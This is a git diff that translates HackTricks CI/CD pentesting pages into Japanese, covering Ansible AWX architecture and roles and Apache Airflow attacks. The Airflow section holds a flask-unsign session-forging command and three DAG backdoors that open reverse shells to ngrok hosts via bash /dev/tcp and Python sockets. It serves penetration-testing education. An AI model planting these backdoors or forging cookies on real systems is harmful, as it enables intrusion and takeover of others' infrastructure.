diff --git a/src/README.md b/src/README.md
index 01b146fd1..47fcb0e39 100644
--- a/src/README.md
+++ b/src/README.md
@@ -6,26 +6,26 @@ Reading time: {{ #reading_time }}
-_Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
+_Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_によるものです。_
> [!TIP]
-> Welcome to the page where you will find each **hacking trick/technique/whatever related to CI/CD & Cloud** I have learnt in **CTFs**, **real** life **environments**, **researching**, and **reading** researches and news.
+> CI/CDおよびクラウドに関連する各**ハッキングトリック/テクニック/その他**を見つけることができるページへようこそ。これは**CTF**、**実際の**ライフ**環境**、**研究**、および**研究やニュースを読む**中で学んだものです。
### **Pentesting CI/CD Methodology**
-**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
+**HackTricks CI/CDメソッドでは、CI/CD活動に関連するインフラストラクチャをペンテストする方法を見つけることができます。** 次のページを読んで**イントロダクション**を確認してください:
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
### Pentesting Cloud Methodology
-**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
+**HackTricks Cloudメソッドでは、クラウド環境をペンテストする方法を見つけることができます。** 次のページを読んで**イントロダクション**を確認してください:
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
### License & Disclaimer
-**Check them in:**
+**こちらで確認してください:**
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
@@ -34,7 +34,3 @@ _Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.co

{{#include ./banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index feae5163c..1b1d60c58 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -505,3 +505,5 @@
+
+
diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md
index b684cee3d..09f1a6674 100644
--- a/src/banners/hacktricks-training.md
+++ b/src/banners/hacktricks-training.md
@@ -1,17 +1,13 @@
> [!TIP]
-> Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-> Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+> AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+> GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
>
>
>
-> Support HackTricks
+> HackTricksをサポートする
>
-> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
-> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+> - [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
+> - **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
+> - **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
>
>
-
-
-
-
diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
index d3fbf19e5..ae47230f8 100644
--- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
+++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
@@ -2,62 +2,61 @@
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## 基本情報
-**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows.
+**Ansible Tower** またはそのオープンソース版 [**AWX**](https://github.com/ansible/awx) は、**Ansibleのユーザーインターフェース、ダッシュボード、REST API** として知られています。**ロールベースのアクセス制御**、ジョブスケジューリング、グラフィカルなインベントリ管理を使用して、最新のUIからAnsibleインフラストラクチャを管理できます。TowerのREST APIとコマンドラインインターフェースにより、現在のツールやワークフローに簡単に統合できます。
-**Automation Controller is a newer** version of Ansible Tower with more capabilities.
+**Automation Controllerは新しい** バージョンのAnsible Towerで、より多くの機能を備えています。
-### Differences
+### 違い
-According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows.
+[**こちら**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00)によると、Ansible TowerとAWXの主な違いは受けたサポートであり、Ansible Towerにはロールベースのアクセス制御、カスタムAPIのサポート、ユーザー定義のワークフローなどの追加機能があります。
-### Tech Stack
+### テクノロジースタック
-- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
-- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
-- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
-- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
-- **Redis**: Redis serves as a cache and a backend for the task queue.
+- **Webインターフェース**: これは、ユーザーがインベントリ、資格情報、テンプレート、ジョブを管理できるグラフィカルインターフェースです。直感的に設計されており、オートメーションジョブの状態や結果を理解するのに役立つ視覚化を提供します。
+- **REST API**: Webインターフェースでできるすべてのことは、REST APIを介しても行えます。つまり、AWX/Towerを他のシステムと統合したり、インターフェースで通常実行するアクションをスクリプト化したりできます。
+- **データベース**: AWX/Towerは、構成、ジョブ結果、その他の必要な運用データを保存するためにデータベース(通常はPostgreSQL)を使用します。
+- **RabbitMQ**: これは、AWX/Towerが異なるコンポーネント間、特にWebサービスとタスクランナー間で通信するために使用するメッセージングシステムです。
+- **Redis**: Redisは、キャッシュおよびタスクキューのバックエンドとして機能します。
-### Logical Components
+### 論理コンポーネント
-- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
-- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
-- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
-- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
-- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
-- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
-- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
-- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
+- **インベントリ**: インベントリは、**ジョブ**(Ansibleプレイブック)を**実行**できる**ホスト(またはノード)のコレクション**です。AWX/Towerは、インベントリを定義およびグループ化することを許可し、AWS、Azureなどの他のシステムから**ホストリストを取得する**動的インベントリもサポートしています。
+- **プロジェクト**: プロジェクトは、**バージョン管理システム**(Gitなど)から取得した**Ansibleプレイブックのコレクション**です。必要に応じて最新のプレイブックを取得します。
+- **テンプレート**: ジョブテンプレートは、**特定のプレイブックがどのように実行されるか**を定義し、ジョブのための**インベントリ**、**資格情報**、およびその他の**パラメータ**を指定します。
+- **資格情報**: AWX/Towerは、SSHキー、パスワード、APIトークンなどの秘密を**管理および保存する**安全な方法を提供します。これらの資格情報は、プレイブックが実行されるときに必要なアクセスを持つように、ジョブテンプレートに関連付けることができます。
+- **タスクエンジン**: ここで魔法が起こります。タスクエンジンはAnsibleに基づいて構築されており、**プレイブックを実行する**責任があります。ジョブはタスクエンジンに送信され、指定されたインベントリに対して指定された資格情報を使用してAnsibleプレイブックが実行されます。
+- **スケジューラーとコールバック**: これらはAWX/Towerの高度な機能で、**ジョブを特定の時間にスケジュール**したり、外部イベントによってトリガーしたりできます。
+- **通知**: AWX/Towerは、ジョブの成功または失敗に基づいて通知を送信できます。メール、Slackメッセージ、Webhookなど、さまざまな通知手段をサポートしています。
+- **Ansibleプレイブック**: Ansibleプレイブックは、構成、デプロイメント、およびオーケストレーションツールです。自動化された再現可能な方法でシステムの望ましい状態を記述します。YAMLで記述され、プレイブックはAnsibleの宣言型自動化言語を使用して、実行する必要がある構成、タスク、およびステップを記述します。
-### Job Execution Flow
+### ジョブ実行フロー
-1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower.
-2. **Job Initiation**:
- - The user, via the Web Interface or API, initiates a job based on a **Job Template**.
- - The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
- - Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
-3. **Job Queuing**:
- - **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
- - **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
-4. **Job Execution**:
- - The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
- - Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
- - As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
-5. **Job Results**:
- - Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
- - Users can then view the results through the Web Interface or query them via the REST API.
- - Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
-6. **External Systems Integration**:
- - **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
- - **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
- - **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
+1. **ユーザーインタラクション**: ユーザーは、**Webインターフェース**または**REST API**を介してAWX/Towerと対話できます。これにより、AWX/Towerが提供するすべての機能にフロントエンドアクセスが提供されます。
+2. **ジョブの開始**:
+- ユーザーは、WebインターフェースまたはAPIを介して、**ジョブテンプレート**に基づいてジョブを開始します。
+- ジョブテンプレートには、**インベントリ**、**プロジェクト**(プレイブックを含む)、および**資格情報**への参照が含まれています。
+- ジョブの開始時に、実行のためにジョブをキューに入れるリクエストがAWX/Towerのバックエンドに送信されます。
+3. **ジョブのキューイング**:
+- **RabbitMQ**は、Webコンポーネントとタスクランナー間のメッセージングを処理します。ジョブが開始されると、RabbitMQを使用してタスクエンジンにメッセージが送信されます。
+- **Redis**は、実行待ちのキューに入れられたジョブを管理するタスクキューのバックエンドとして機能します。
+4. **ジョブの実行**:
+- **タスクエンジン**がキューに入れられたジョブを取得します。タスクエンジンは、ジョブに関連付けられたプレイブック、インベントリ、および資格情報に関する必要な情報を**データベース**から取得します。
+- 関連する**プロジェクト**から取得したAnsibleプレイブックを使用して、タスクエンジンは指定された**インベントリ**ノードに対して提供された**資格情報**を使用してプレイブックを実行します。
+- プレイブックが実行されると、その実行出力(ログ、ファクトなど)がキャプチャされ、**データベース**に保存されます。
+5. **ジョブ結果**:
+- プレイブックの実行が終了すると、結果(成功、失敗、ログ)が**データベース**に保存されます。
+- ユーザーは、Webインターフェースを介して結果を表示したり、REST APIを介してクエリを実行したりできます。
+- ジョブの結果に基づいて、**通知**が送信され、ユーザーや外部システムにジョブの状態を通知できます。通知はメール、Slackメッセージ、Webhookなどです。
+6. **外部システムとの統合**:
+- **インベントリ**は外部システムから動的に取得でき、AWX/TowerはAWS、Azure、VMwareなどのソースからホストを取得できます。
+- **プロジェクト**(プレイブック)はバージョン管理システムから取得でき、ジョブ実行中に最新のプレイブックを使用することが保証されます。
+- **スケジューラーとコールバック**は、他のシステムやツールと統合するために使用でき、AWX/Towerが外部トリガーに反応したり、事前に決められた時間にジョブを実行したりします。
-### AWX lab creation for testing
-
-[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX:
+### AWXラボの作成とテスト
+[**ドキュメントに従って**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md)、docker-composeを使用してAWXを実行することが可能です:
```bash
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
@@ -83,61 +82,56 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser
# Load demo data
docker exec tools_awx_1 awx-manage create_preload_data
```
-
## RBAC
### Supported roles
-The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**.
+最も特権のある役割は**System Administrator**と呼ばれています。この役割を持つ者は**何でも変更することができます**。
-From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one.
+**ホワイトボックスセキュリティ**レビューでは、**System Auditor role**が必要で、これにより**すべてのシステムデータを表示**できますが、変更はできません。別の選択肢として**Organization Auditor role**を取得することもできますが、前者を取得する方が良いでしょう。
-Expand this to get detailed description of available roles
+利用可能な役割の詳細な説明を表示するにはここを展開してください
1. **System Administrator**:
- - This is the superuser role with permissions to access and modify any resource in the system.
- - They can manage all organizations, teams, projects, inventories, job templates, etc.
+- これは、システム内の任意のリソースにアクセスし、変更する権限を持つスーパーユーザーの役割です。
+- 彼らはすべての組織、チーム、プロジェクト、インベントリ、ジョブテンプレートなどを管理できます。
2. **System Auditor**:
- - Users with this role can view all system data but cannot make any changes.
- - This role is designed for compliance and oversight.
+- この役割を持つユーザーは、すべてのシステムデータを表示できますが、変更はできません。
+- この役割は、コンプライアンスと監視のために設計されています。
3. **Organization Roles**:
- - **Admin**: Full control over the organization's resources.
- - **Auditor**: View-only access to the organization's resources.
- - **Member**: Basic membership in an organization without any specific permissions.
- - **Execute**: Can run job templates within the organization.
- - **Read**: Can view the organization’s resources.
+- **Admin**: 組織のリソースに対する完全な制御。
+- **Auditor**: 組織のリソースへの表示専用アクセス。
+- **Member**: 特定の権限なしで組織の基本メンバーシップ。
+- **Execute**: 組織内でジョブテンプレートを実行できます。
+- **Read**: 組織のリソースを表示できます。
4. **Project Roles**:
- - **Admin**: Can manage and modify the project.
- - **Use**: Can use the project in a job template.
- - **Update**: Can update project using SCM (source control).
+- **Admin**: プロジェクトを管理および変更できます。
+- **Use**: ジョブテンプレートでプロジェクトを使用できます。
+- **Update**: SCM(ソース管理)を使用してプロジェクトを更新できます。
5. **Inventory Roles**:
- - **Admin**: Can manage and modify the inventory.
- - **Ad Hoc**: Can run ad hoc commands on the inventory.
- - **Update**: Can update the inventory source.
- - **Use**: Can use the inventory in a job template.
- - **Read**: View-only access.
+- **Admin**: インベントリを管理および変更できます。
+- **Ad Hoc**: インベントリ上でアドホックコマンドを実行できます。
+- **Update**: インベントリソースを更新できます。
+- **Use**: ジョブテンプレートでインベントリを使用できます。
+- **Read**: 表示専用アクセス。
6. **Job Template Roles**:
- - **Admin**: Can manage and modify the job template.
- - **Execute**: Can run the job.
- - **Read**: View-only access.
+- **Admin**: ジョブテンプレートを管理および変更できます。
+- **Execute**: ジョブを実行できます。
+- **Read**: 表示専用アクセス。
7. **Credential Roles**:
- - **Admin**: Can manage and modify the credentials.
- - **Use**: Can use the credentials in job templates or other relevant resources.
- - **Read**: View-only access.
+- **Admin**: 資格情報を管理および変更できます。
+- **Use**: ジョブテンプレートやその他の関連リソースで資格情報を使用できます。
+- **Read**: 表示専用アクセス。
8. **Team Roles**:
- - **Member**: Part of the team but without any specific permissions.
- - **Admin**: Can manage the team's members and associated resources.
+- **Member**: チームの一部ですが、特定の権限はありません。
+- **Admin**: チームのメンバーと関連リソースを管理できます。
9. **Workflow Roles**:
- - **Admin**: Can manage and modify the workflow.
- - **Execute**: Can run the workflow.
- - **Read**: View-only access.
+- **Admin**: ワークフローを管理および変更できます。
+- **Execute**: ワークフローを実行できます。
+- **Read**: 表示専用アクセス。
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md
index aac46128c..a056de823 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/README.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/README.md
@@ -2,22 +2,21 @@
{{#include ../../banners/hacktricks-training.md}}
-### Basic Information
+### 基本情報
-[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
+[**Apache Airflow**](https://airflow.apache.org) は、**データパイプラインやワークフローのオーケストレーションとスケジューリングのためのプラットフォーム**です。「オーケストレーション」という用語は、データパイプラインの文脈において、さまざまなソースからの複雑なデータワークフローを整理、調整、管理するプロセスを指します。これらのオーケストレーションされたデータパイプラインの主な目的は、処理された消費可能なデータセットを提供することです。これらのデータセットは、ビジネスインテリジェンスツール、データサイエンス、機械学習モデルなど、さまざまなアプリケーションで広く利用されており、ビッグデータアプリケーションの機能にとって基盤となっています。
-Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
+基本的に、Apache Airflowは、**何かが起こったときにコードの実行をスケジュールすることを可能にします**(イベント、cron)。
-### Local Lab
+### ローカルラボ
#### Docker-Compose
-You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
+[**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) からの**docker-compose設定ファイルを使用して**、完全なapache airflow docker環境を起動できます。(MacOSを使用している場合は、docker VMに少なくとも6GBのRAMを割り当ててください)。
#### Minikube
-One easy way to **run apache airflo**w is to run it **with minikube**:
-
+**apache airflowを実行する簡単な方法**は、**minikubeで実行することです**:
```bash
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
@@ -27,10 +26,9 @@ helm install airflow-release airflow-stable/airflow
# Use this command to delete it
helm delete airflow-release
```
+### Airflowの設定
-### Airflow Configuration
-
-Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
+Airflowはその設定に**機密情報**を保存する可能性があるか、または弱い設定が存在する場合があります:
{{#ref}}
airflow-configuration.md
@@ -38,65 +36,62 @@ airflow-configuration.md
### Airflow RBAC
-Before start attacking Airflow you should understand **how permissions work**:
+Airflowを攻撃する前に、**権限の仕組み**を理解する必要があります:
{{#ref}}
airflow-rbac.md
{{#endref}}
-### Attacks
+### 攻撃
-#### Web Console Enumeration
+#### ウェブコンソールの列挙
-If you have **access to the web console** you might be able to access some or all of the following information:
+**ウェブコンソールにアクセス**できる場合、以下の情報の一部またはすべてにアクセスできる可能性があります:
-- **Variables** (Custom sensitive information might be stored here)
-- **Connections** (Custom sensitive information might be stored here)
- - Access them in `http:///connection/list/`
-- [**Configuration**](./#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
-- List **users & roles**
-- **Code of each DAG** (which might contain interesting info)
+- **変数**(カスタムの機密情報がここに保存される可能性があります)
+- **接続**(カスタムの機密情報がここに保存される可能性があります)
+- `http:///connection/list/`でアクセス
+- [**設定**](./#airflow-configuration)(**`secret_key`**やパスワードなどの機密情報がここに保存される可能性があります)
+- **ユーザーと役割のリスト**
+- **各DAGのコード**(興味深い情報が含まれている可能性があります)
-#### Retrieve Variables Values
+#### 変数の値を取得
-Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http:///variable/list/`.\
-Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
+変数はAirflowに保存され、**DAG**がその値に**アクセス**できるようになります。他のプラットフォームの秘密に似ています。**十分な権限**があれば、`http:///variable/list/`のGUIでアクセスできます。\
+AirflowはデフォルトでGUIに変数の値を表示しますが、[**これ**](https://marclamberti.com/blog/variables-with-apache-airflow/)によると、**値**が**アスタリスク**として表示される**変数のリスト**を設定することが可能です。
.png>)
-However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
-To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
-Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
+しかし、これらの**値**は**CLI**(DBアクセスが必要)、**任意のDAG**の実行、**API**を介して変数エンドポイントにアクセスすること(APIは有効化する必要があります)、さらには**GUI自体**からも**取得**できます!\
+GUIからこれらの値にアクセスするには、**アクセスしたい変数を選択**し、**アクション -> エクスポート**をクリックします。\
+別の方法は、**検索フィルタリング**を使用して**隠された値**に対して**ブルートフォース**を実行し、取得することです:
.png>)
-#### Privilege Escalation
-
-If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
+#### 権限昇格
+**`expose_config`**設定が**True**に設定されている場合、**ユーザー役割**以上の役割から**ウェブで設定を読む**ことができます。この設定には**`secret_key`**が含まれており、これにより有効なユーザーは**他のユーザーアカウントを偽装するための独自の署名付きクッキーを作成**できます。
```bash
flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
+#### DAG バックドア (Airflow ワーカーにおける RCE)
-#### DAG Backdoor (RCE in Airflow worker)
-
-If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
-Note that this reverse shell is going to be executed inside an **airflow worker container**:
-
+もし **DAG が保存されている場所** に **書き込みアクセス** がある場合、あなたは単に **一つを作成** して **リバースシェル** を送信することができます。\
+このリバースシェルは **airflow ワーカーコンテナ** 内で実行されることに注意してください:
```python
import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator
with DAG(
- dag_id='rev_shell_bash',
- schedule_interval='0 0 * * *',
- start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
+dag_id='rev_shell_bash',
+schedule_interval='0 0 * * *',
+start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
- run = BashOperator(
- task_id='run',
- bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
- )
+run = BashOperator(
+task_id='run',
+bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
+)
```
```python
@@ -105,75 +100,66 @@ from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
- s = socket.socket()
- s.connect((rhost, port))
- [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
- pty.spawn("/bin/sh")
+s = socket.socket()
+s.connect((rhost, port))
+[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
+pty.spawn("/bin/sh")
with DAG(
- dag_id='rev_shell_python',
- schedule_interval='0 0 * * *',
- start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
+dag_id='rev_shell_python',
+schedule_interval='0 0 * * *',
+start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
- run = PythonOperator(
- task_id='rs_python',
- python_callable=rs,
- op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
- )
+run = PythonOperator(
+task_id='rs_python',
+python_callable=rs,
+op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
+)
```
+#### DAG バックドア (Airflow スケジューラにおける RCE)
-#### DAG Backdoor (RCE in Airflow scheduler)
-
-If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
-
+コードの**ルートで実行されるように設定**した場合、執筆時点では、それはDAGのフォルダに配置してから数秒後に**スケジューラによって実行されます**。
```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
- s = socket.socket()
- s.connect((rhost, port))
- [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
- pty.spawn("/bin/sh")
+s = socket.socket()
+s.connect((rhost, port))
+[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
+pty.spawn("/bin/sh")
rs("2.tcp.ngrok.io", 14403)
with DAG(
- dag_id='rev_shell_python2',
- schedule_interval='0 0 * * *',
- start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
+dag_id='rev_shell_python2',
+schedule_interval='0 0 * * *',
+start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
- run = PythonOperator(
- task_id='rs_python2',
- python_callable=rs,
- op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
+run = PythonOperator(
+task_id='rs_python2',
+python_callable=rs,
+op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
+#### DAGの作成
-#### DAG Creation
+もしあなたが**DAGクラスター内のマシンを侵害することに成功すれば**、`dags/`フォルダーに新しい**DAGスクリプト**を作成でき、それらは**DAGクラスター内の他のマシンに複製されます**。
-If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
+#### DAGコードインジェクション
-#### DAG Code Injection
+GUIからDAGを実行すると、**引数**を渡すことができます。\
+したがって、DAGが適切にコーディングされていない場合、**コマンドインジェクションに対して脆弱である可能性があります。**\
+これがこのCVEで起こったことです: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
-When you execute a DAG from the GUI you can **pass arguments** to it.\
-Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
-That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
-
-All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
-
-Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
+**DAG内のコマンドインジェクションを探し始めるために知っておくべきこと**は、**パラメータ**が**コード`dag_run.conf.get("param_name")`**で**アクセスされる**ということです。
+さらに、同じ脆弱性が**変数**にも発生する可能性があります(十分な権限があれば、GUIで**変数の値を制御できる**ことに注意してください)。変数は**次のようにアクセスされます**:
```python
from airflow.models import Variable
[...]
foo = Variable.get("foo")
```
-
-If they are used for example inside a a bash command, you could perform a command injection.
+もしそれらが例えばbashコマンド内で使用されると、コマンドインジェクションを実行することができます。
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
index 5fd8e486b..1bffb900e 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
@@ -4,112 +4,102 @@
## Configuration File
-**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
+**Apache Airflow** は、すべての Airflow マシンに **`airflow.cfg`** という **config file** を生成します。この config file は設定情報を含み、**興味深く、機密性の高い情報を含む可能性があります。**
-**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
+**このファイルにアクセスする方法は2つあります:Airflow マシンを侵害するか、ウェブコンソールにアクセスすることです。**
-Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
